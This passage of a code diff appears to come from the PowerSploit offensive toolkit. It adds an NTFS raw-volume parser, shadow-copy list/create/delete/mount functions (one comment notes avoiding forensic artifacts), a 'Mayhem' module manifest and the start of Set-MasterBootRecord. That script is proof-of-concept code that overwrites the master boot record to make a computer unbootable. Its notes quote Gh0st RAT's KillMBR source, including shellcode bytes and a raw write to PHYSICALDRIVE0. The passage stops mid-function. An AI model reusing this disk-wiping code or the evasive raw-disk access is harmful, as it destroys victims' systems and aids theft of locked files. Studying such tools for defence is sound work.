FILE_RECORD_HEADER *fr = ReadFileRecord(fileRef);
if (fr == NULL)
{
NTFS_TRACE1("Cannot read file record %I64u\n", fileRef);
FileReference = (ULONGLONG)-1;
}
else
{
FileReference = fileRef;
if (fr->Magic == FILE_RECORD_MAGIC)
{
// Patch US
WORD *usnaddr = (WORD*)((BYTE*)fr + fr->OffsetOfUS);
WORD usn = *usnaddr;
WORD *usarray = usnaddr + 1;
if (PatchUS((WORD*)fr, Volume->FileRecordSize/Volume->SectorSize, usn, usarray))
{
NTFS_TRACE1("File Record %I64u Found\n", fileRef);
FileRecord = fr;
return TRUE;
}
else
{
NTFS_TRACE("Update Sequence Number error\n");
}
}
else
{
NTFS_TRACE("Invalid file record\n");
}
delete fr;
}
return FALSE;
}
// Visit IndexBlocks recursivly to find a specific FileName
BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const
{
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
if (ia == NULL)
return FALSE;
CIndexBlock ib;
if (ia->ParseIndexBlock(vcn, ib))
{
CIndexEntry *ie = ib.FindFirstEntry();
while (ie)
{
if (ie->HasName())
{
// Compare name
int i = ie->Compare(fileName);
if (i == 0)
{
ieFound = *ie;
return TRUE;
}
else if (i < 0) // fileName is smaller than IndexEntry
{
// Visit SubNode
if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock), recursive call
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
else
return FALSE; // not found
}
// Just step forward if fileName is bigger than IndexEntry
}
else if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock), recursive call
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
ie = ib.FindNextEntry();
}
}
return FALSE;
}
// Traverse SubNode recursivly in ascending order
// Call user defined callback routine once found an subentry
void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const
{
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
if (ia == NULL)
return;
CIndexBlock ib;
if (ia->ParseIndexBlock(vcn, ib))
{
CIndexEntry *ie = ib.FindFirstEntry();
while (ie)
{
if (ie->IsSubNodePtr())
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); // recursive call
if (ie->HasName())
seCallBack(ie);
ie = ib.FindNextEntry();
}
}
}
// Parse all the attributes in a File Record
// And insert them into a link list
BOOL CFileRecord::ParseAttrs()
{
_ASSERT(FileRecord);
// Clear previous data
ClearAttrs();
// Visit all attributes
DWORD dataPtr = 0; // guard if data exceeds FileRecordSize bounds
ATTR_HEADER_COMMON *ahc = (ATTR_HEADER_COMMON*)((BYTE*)FileRecord + FileRecord->OffsetOfAttr);
dataPtr += FileRecord->OffsetOfAttr;
while (ahc->Type != (DWORD)-1 && (dataPtr+ahc->TotalSize) <= Volume->FileRecordSize)
{
if (ATTR_MASK(ahc->Type) & AttrMask) // Skip unwanted attributes
{
if (!ParseAttr(ahc)) // Parse error
return FALSE;
if (IsEncrypted() || IsCompressed())
{
NTFS_TRACE("Compressed and Encrypted file not supported yet !\n");
return FALSE;
}
}
dataPtr += ahc->TotalSize;
ahc = (ATTR_HEADER_COMMON*)((BYTE*)ahc + ahc->TotalSize); // next attribute
}
return TRUE;
}
// Install Attribute raw data CallBack routines for a single File Record
BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
{
DWORD atIdx = ATTR_INDEX(attrType);
if (atIdx < ATTR_NUMS)
{
AttrRawCallBack[atIdx] = cb;
return TRUE;
}
else
return FALSE;
}
// Clear all Attribute CallBack routines
__inline void CFileRecord::ClearAttrRawCB()
{
for (int i = 0; i < ATTR_NUMS; i ++)
AttrRawCallBack[i] = NULL;
}
// Choose attributes to handle, unwanted attributes will be discarded silently
__inline void CFileRecord::SetAttrMask(DWORD mask)
{
// Standard Information and Attribute List is needed always
AttrMask = mask | MASK_STANDARD_INFORMATION | MASK_ATTRIBUTE_LIST;
}
// Traverse all Attribute and return CAttr_xxx classes to User Callback routine
void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context)
{
_ASSERT(attrCallBack);
for (int i = 0; i < ATTR_NUMS; i ++)
{
if (AttrMask & (((DWORD)1)<<i)) // skip masked attributes
{
const CAttrBase *ab = AttrList[i].FindFirstEntry();
while (ab)
{
BOOL bStop;
bStop = FALSE;
attrCallBack(ab, context, &bStop);
if (bStop)
return;
ab = AttrList[i].FindNextEntry();
}
}
}
}
// Find Attributes
__inline const CAttrBase* CFileRecord::FindFirstAttr(DWORD attrType) const
{
DWORD attrIdx = ATTR_INDEX(attrType);
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindFirstEntry() : NULL;
}
const CAttrBase* CFileRecord::FindNextAttr(DWORD attrType) const
{
DWORD attrIdx = ATTR_INDEX(attrType);
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindNextEntry() : NULL;
}
// Get File Name (First Win32 name)
int CFileRecord::GetFileName(_TCHAR *buf, DWORD bufLen) const
{
// A file may have several filenames
// Return the first Win32 filename
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
while (fn)
{
if (fn->IsWin32Name())
{
int len = fn->GetFileName(buf, bufLen);
if (len != 0)
return len; // success or fail
}
fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindNextEntry();
}
return 0;
}
// Get File Size
__inline ULONGLONG CFileRecord::GetFileSize() const
{
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
return fn ? fn->GetFileSize() : 0;
}
// Get File Times
void CFileRecord::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const
{
// Standard Information attribute hold the most updated file time
CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
if (si)
si->GetFileTime(writeTm, createTm, accessTm);
else
{
writeTm->dwHighDateTime = 0;
writeTm->dwLowDateTime = 0;
if (createTm)
{
createTm->dwHighDateTime = 0;
createTm->dwLowDateTime = 0;
}
if (accessTm)
{
accessTm->dwHighDateTime = 0;
accessTm->dwLowDateTime = 0;
}
}
}
// Traverse all sub directories and files contained
// Call user defined callback routine once found an entry
void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const
{
_ASSERT(seCallBack);
// Start traversing from IndexRoot (B+ tree root node)
CAttr_IndexRoot* ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
if (ir == NULL || !ir->IsFileName())
return;
CIndexEntryList *ieList = (CIndexEntryList*)ir;
CIndexEntry *ie = ieList->FindFirstEntry();
while (ie)
{
// Visit subnode first
if (ie->IsSubNodePtr())
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack);
if (ie->HasName())
seCallBack(ie);
ie = ieList->FindNextEntry();
}
}
// Find a specific FileName from InexRoot described B+ tree
__inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const
{
// Start searching from IndexRoot (B+ tree root node)
CAttr_IndexRoot *ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
if (ir == NULL || !ir->IsFileName())
return FALSE;
CIndexEntryList *ieList = (CIndexEntryList*)ir;
CIndexEntry *ie = ieList->FindFirstEntry();
while (ie)
{
if (ie->HasName())
{
// Compare name
int i = ie->Compare(fileName);
if (i == 0)
{
ieFound = *ie;
return TRUE;
}
else if (i < 0) // fileName is smaller than IndexEntry
{
// Visit SubNode
if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock)
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
else
return FALSE; // not found
}
// Just step forward if fileName is bigger than IndexEntry
}
else if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock)
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
ie = ieList->FindNextEntry();
}
return FALSE;
}
// Find Data attribute class of
const CAttrBase* CFileRecord::FindStream(_TCHAR *name)
{
const CAttrBase *data = FindFirstAttr(ATTR_TYPE_DATA);
while (data)
{
if (data->IsUnNamed() && name == NULL) // Unnamed stream
break;
if ((!data->IsUnNamed()) && name) // Named stream
{
_TCHAR an[MAX_PATH];
if (data->GetAttrName(an, MAX_PATH))
{
if (_tcscmp(an, name) == 0)
break;
}
}
data = FindNextAttr(ATTR_TYPE_DATA);
}
return data;
}
// Check if it's deleted or in use
__inline BOOL CFileRecord::IsDeleted() const
{
return !(FileRecord->Flags & FILE_RECORD_FLAG_INUSE);
}
// Check if it's a directory
__inline BOOL CFileRecord::IsDirectory() const
{
return FileRecord->Flags & FILE_RECORD_FLAG_DIR;
}
__inline BOOL CFileRecord::IsReadOnly() const
{
// Standard Information attribute holds the most updated file time
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsReadOnly() : FALSE;
}
__inline BOOL CFileRecord::IsHidden() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsHidden() : FALSE;
}
__inline BOOL CFileRecord::IsSystem() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsSystem() : FALSE;
}
__inline BOOL CFileRecord::IsCompressed() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsCompressed() : FALSE;
}
__inline BOOL CFileRecord::IsEncrypted() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsEncrypted() : FALSE;
}
__inline BOOL CFileRecord::IsSparse() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsSparse() : FALSE;
}
///////////////////////////////////////
// NTFS Volume Implementation
///////////////////////////////////////
CNTFSVolume::CNTFSVolume(_TCHAR volume)
{
hVolume = INVALID_HANDLE_VALUE;
VolumeOK = FALSE;
MFTRecord = NULL;
MFTData = NULL;
Version = 0;
ClearAttrRawCB();
if (!OpenVolume(volume))
return;
// Verify NTFS volume version (must >= 3.0)
CFileRecord vol(this);
vol.SetAttrMask(MASK_VOLUME_NAME | MASK_VOLUME_INFORMATION);
if (!vol.ParseFileRecord(MFT_IDX_VOLUME))
return;
vol.ParseAttrs();
CAttr_VolInfo *vi = (CAttr_VolInfo*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_INFORMATION);
if (!vi)
return;
Version = vi->GetVersion();
NTFS_TRACE2("NTFS volume version: %u.%u\n", HIBYTE(Version), LOBYTE(Version));
if (Version < 0x0300) // NT4 ?
return;
#ifdef _DEBUG
CAttr_VolName *vn = (CAttr_VolName*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_NAME);
if (vn)
{
char volname[MAX_PATH];
if (vn->GetName(volname, MAX_PATH) > 0)
{
NTFS_TRACE1("NTFS volume name: %s\n", volname);
}
}
#endif
VolumeOK = TRUE;
MFTRecord = new CFileRecord(this);
MFTRecord->SetAttrMask(MASK_DATA);
if (MFTRecord->ParseFileRecord(MFT_IDX_MFT))
{
MFTRecord->ParseAttrs();
MFTData = MFTRecord->FindFirstAttr(ATTR_TYPE_DATA);
if (MFTData == NULL)
{
delete MFTRecord;
MFTRecord = NULL;
}
}
}
CNTFSVolume::~CNTFSVolume()
{
if (hVolume != INVALID_HANDLE_VALUE)
CloseHandle(hVolume);
if (MFTRecord)
delete MFTRecord;
}
// Open a volume ('a' - 'z', 'A' - 'Z'), get volume handle and BPB
BOOL CNTFSVolume::OpenVolume(_TCHAR volume)
{
// Verify parameter
if (!_istalpha(volume))
{
NTFS_TRACE("Volume name error, should be like 'C', 'D'\n");
return FALSE;
}
_TCHAR volumePath[7];
_sntprintf(volumePath, 6, _T("\\\\.\\%c:"), volume);
volumePath[6] = _T('\0');
hVolume = CreateFile(volumePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);
if (hVolume != INVALID_HANDLE_VALUE)
{
DWORD num;
NTFS_BPB bpb;
// Read the first sector (boot sector)
if (ReadFile(hVolume, &bpb, 512, &num, NULL) && num==512)
{
if (strncmp((const char*)bpb.Signature, NTFS_SIGNATURE, 8) == 0)
{
// Log important volume parameters
SectorSize = bpb.BytesPerSector;
NTFS_TRACE1("Sector Size = %u bytes\n", SectorSize);
ClusterSize = SectorSize * bpb.SectorsPerCluster;
NTFS_TRACE1("Cluster Size = %u bytes\n", ClusterSize);
int sz = (char)bpb.ClustersPerFileRecord;
if (sz > 0)
FileRecordSize = ClusterSize * sz;
else
FileRecordSize = 1 << (-sz);
NTFS_TRACE1("FileRecord Size = %u bytes\n", FileRecordSize);
sz = (char)bpb.ClustersPerIndexBlock;
if (sz > 0)
IndexBlockSize = ClusterSize * sz;
else
IndexBlockSize = 1 << (-sz);
NTFS_TRACE1("IndexBlock Size = %u bytes\n", IndexBlockSize);
MFTAddr = bpb.LCN_MFT * ClusterSize;
NTFS_TRACE1("MFT address = 0x%016I64X\n", MFTAddr);
}
else
{
NTFS_TRACE("Volume file system is not NTFS\n");
goto IOError;
}
}
else
{
NTFS_TRACE("Read boot sector error\n");
goto IOError;
}
}
else
{
NTFS_TRACE1("Cannnot open volume %c\n", (char)volume);
IOError:
if (hVolume != INVALID_HANDLE_VALUE)
{
CloseHandle(hVolume);
hVolume = INVALID_HANDLE_VALUE;
}
return FALSE;
}
return TRUE;
}
// Check if Volume is successfully opened
__inline BOOL CNTFSVolume::IsVolumeOK() const
{
return VolumeOK;
}
// Get NTFS volume version
__inline WORD CNTFSVolume::GetVersion() const
{
return Version;
}
// Get File Record count
__inline ULONGLONG CNTFSVolume::GetRecordsCount() const
{
return (MFTData->GetDataSize() / FileRecordSize);
}
// Get BPB information
__inline DWORD CNTFSVolume::GetSectorSize() const
{
return SectorSize;
}
__inline DWORD CNTFSVolume::GetClusterSize() const
{
return ClusterSize;
}
__inline DWORD CNTFSVolume::GetFileRecordSize() const
{
return FileRecordSize;
}
__inline DWORD CNTFSVolume::GetIndexBlockSize() const
{
return IndexBlockSize;
}
// Get MFT starting address
__inline ULONGLONG CNTFSVolume::GetMFTAddr() const
{
return MFTAddr;
}
// Install Attribute CallBack routines for the whole Volume
BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
{
DWORD atIdx = ATTR_INDEX(attrType);
if (atIdx < ATTR_NUMS)
{
AttrRawCallBack[atIdx] = cb;
return TRUE;
}
else
return FALSE;
}
// Clear all Attribute CallBack routines
__inline void CNTFSVolume::ClearAttrRawCB()
{
for (int i = 0; i < ATTR_NUMS; i ++)
AttrRawCallBack[i] = NULL;
}
#endif
@@ -0,0 +1,48 @@
========================================================================
DYNAMIC LINK LIBRARY : NTFSParserDLL Project Overview
========================================================================
AppWizard has created this NTFSParserDLL DLL for you.
This file contains a summary of what you will find in each of the files that
make up your NTFSParserDLL application.
NTFSParserDLL.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
NTFSParserDLL.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
NTFSParserDLL.cpp
This is the main DLL source file.
When created, this DLL does not export any symbols. As a result, it
will not produce a .lib file when it is built. If you wish this project
to be a project dependency of some other project, you will either need to
add code to export some symbols from the DLL so that an export library
will be produced, or you can set the Ignore Input Library property to Yes
on the General propert page of the Linker folder in the project's Property
Pages dialog box.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named NTFSParserDLL.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////
@@ -0,0 +1,36 @@
/*
*
* Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
//
// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com>
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
@@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// NTFSParserDLL.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
@@ -0,0 +1,18 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include <windows.h>
#include <string>
#include <iostream>
// TODO: reference additional headers your program requires here
@@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
+2 -2
View File
@@ -1,4 +1,4 @@
function Out-Minidump
function Out-Minidump
{
<#
.SYNOPSIS
@@ -127,4 +127,4 @@
}
END {}
}
}
+288
View File
@@ -0,0 +1,288 @@
function Get-VolumeShadowCopy
{
<#
.SYNOPSIS
Lists the device paths of all local volume shadow copies.
PowerSploit Function: Get-VolumeShadowCopy
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
#>
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
}
Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | ForEach-Object { $_.DeviceObject }
}
function New-VolumeShadowCopy
{
<#
.SYNOPSIS
Creates a new volume shadow copy.
PowerSploit Function: New-VolumeShadowCopy
Author: Jared Atkinson (@jaredcatkinson)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
New-VolumeShadowCopy creates a volume shadow copy for the specified volume.
.PARAMETER Volume
Volume used for the shadow copy. This volume is sometimes referred to as the original volume.
The Volume parameter can be specified as a volume drive letter, mount point, or volume globally unique identifier (GUID) name.
.PARAMETER Context
Context that the provider uses when creating the shadow. The default is "ClientAccessible".
.EXAMPLE
New-VolumeShadowCopy -Volume C:\
Description
-----------
Creates a new VolumeShadowCopy of the C drive
#>
Param(
[Parameter(Mandatory = $True)]
[ValidatePattern('^\w:\\')]
[String]
$Volume,
[Parameter(Mandatory = $False)]
[ValidateSet("ClientAccessible")]
[String]
$Context = "ClientAccessible"
)
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
}
# Save VSS Service initial state
$running = (Get-Service -Name VSS).Status
$class = [WMICLASS]"root\cimv2:win32_shadowcopy"
$return = $class.create("$Volume", "$Context")
switch($return.returnvalue)
{
1 {Write-Error "Access denied."; break}
2 {Write-Error "Invalid argument."; break}
3 {Write-Error "Specified volume not found."; break}
4 {Write-Error "Specified volume not supported."; break}
5 {Write-Error "Unsupported shadow copy context."; break}
6 {Write-Error "Insufficient storage."; break}
7 {Write-Error "Volume is in use."; break}
8 {Write-Error "Maximum number of shadow copies reached."; break}
9 {Write-Error "Another shadow copy operation is already in progress."; break}
10 {Write-Error "Shadow copy provider vetoed the operation."; break}
11 {Write-Error "Shadow copy provider not registered."; break}
12 {Write-Error "Shadow copy provider failure."; break}
13 {Write-Error "Unknown error."; break}
default {break}
}
# If VSS Service was Stopped at the start, return VSS to "Stopped" state
if($running -eq "Stopped")
{
Stop-Service -Name VSS
}
}
function Remove-VolumeShadowCopy
{
<#
.SYNOPSIS
Deletes a volume shadow copy.
PowerSploit Function: Remove-VolumeShadowCopy
Author: Jared Atkinson (@jaredcatkinson)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Remove-VolumeShadowCopy deletes a volume shadow copy from the system.
.PARAMETER InputObject
Specifies the Win32_ShadowCopy object to remove
.PARAMETER DevicePath
Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object.
.EXAMPLE
Get-VolumeShadowCopy | Remove-VolumeShadowCopy
Description
-----------
Removes all volume shadow copy
.EXAMPLE
Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4'
Description
-----------
Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4
#>
[CmdletBinding(SupportsShouldProcess = $True)]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')]
[String]
$DevicePath
)
PROCESS
{
if($PSCmdlet.ShouldProcess("The VolumeShadowCopy at DevicePath $DevicePath will be removed"))
{
(Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete()
}
}
}
function Mount-VolumeShadowCopy
{
<#
.SYNOPSIS
Mounts a volume shadow copy.
PowerSploit Function: Mount-VolumeShadowCopy
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Mount-VolumeShadowCopy mounts a volume shadow copy volume by creating a symbolic link.
.PARAMETER Path
Specifies the path to which the symbolic link for the mounted volume shadow copy will be saved.
.PARAMETER DevicePath
Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object.
.EXAMPLE
Get-VolumeShadowCopy | Mount-VolumeShadowCopy -Path C:\VSS
Description
-----------
Create a mount point in 'C:\VSS' for each volume shadow copy volume
.EXAMPLE
Mount-VolumeShadowCopy -Path C:\VSS -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4'
.EXAMPLE
Get-WmiObject Win32_ShadowCopy | % { $_.DeviceObject -Path C:\VSS -DevicePath $_ }
#>
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')]
[String[]]
$DevicePath
)
BEGIN
{
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
}
# Validate that the path exists before proceeding
Get-ChildItem $Path -ErrorAction Stop | Out-Null
$DynAssembly = New-Object System.Reflection.AssemblyName('VSSUtil')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VSSUtil', $False)
# Define [VSS.Kernel32]::CreateSymbolicLink method using reflection
# (i.e. none of the forensic artifacts left with using Add-Type)
$TypeBuilder = $ModuleBuilder.DefineType('VSS.Kernel32', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateSymbolicLink',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([String], [String], [UInt32]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
@('kernel32.dll'),
[Reflection.FieldInfo[]]@($SetLastError),
@($true))
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$Kernel32Type = $TypeBuilder.CreateType()
}
PROCESS
{
foreach ($Volume in $DevicePath)
{
$Volume -match '^\\\\\?\\GLOBALROOT\\Device\\(?<LinkName>HarddiskVolumeShadowCopy[0-9]{1,3})$' | Out-Null
$LinkPath = Join-Path $Path $Matches.LinkName
if (Test-Path $LinkPath)
{
Write-Warning "'$LinkPath' already exists."
continue
}
if (-not $Kernel32Type::CreateSymbolicLink($LinkPath, "$($Volume)\", 1))
{
Write-Error "Symbolic link creation failed for '$Volume'."
continue
}
Get-Item $LinkPath
}
}
END
{
}
}
+30
View File
@@ -0,0 +1,30 @@
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'Mayhem.psm1'
# Version number of this module.
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c'
# Author of this module
Author = 'Matthew Graeber'
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
# Description of the functionality provided by this module
Description = 'PowerSploit Mayhem Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Functions to export from this module
FunctionsToExport = '*'
# List of all files packaged with this module
FileList = 'Mayhem.psm1', 'Mayhem.psd1', 'Usage.md'
}
+368
View File
@@ -0,0 +1,368 @@
function Set-MasterBootRecord
{
<#
.SYNOPSIS
Proof of concept code that overwrites the master boot record with the
message of your choice.
PowerSploit Function: Set-MasterBootRecord
Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Set-MasterBootRecord is proof of concept code designed to show that it is
possible with PowerShell to overwrite the MBR. This technique was taken
from a public malware sample. This script is inteded solely as proof of
concept code.
.PARAMETER BootMessage
Specifies the message that will be displayed upon making your computer a brick.
.PARAMETER RebootImmediately
Reboot the machine immediately upon overwriting the MBR.
.PARAMETER Force
Suppress the warning prompt.
.EXAMPLE
Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
.NOTES
Obviously, this will only work if you have a master boot record to
overwrite. This won't work if you have a GPT (GUID partition table).
This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):
// CGh0stApp message handlers
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
int CGh0stApp::KillMBR()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// ????MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NUL
)
// ??????
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
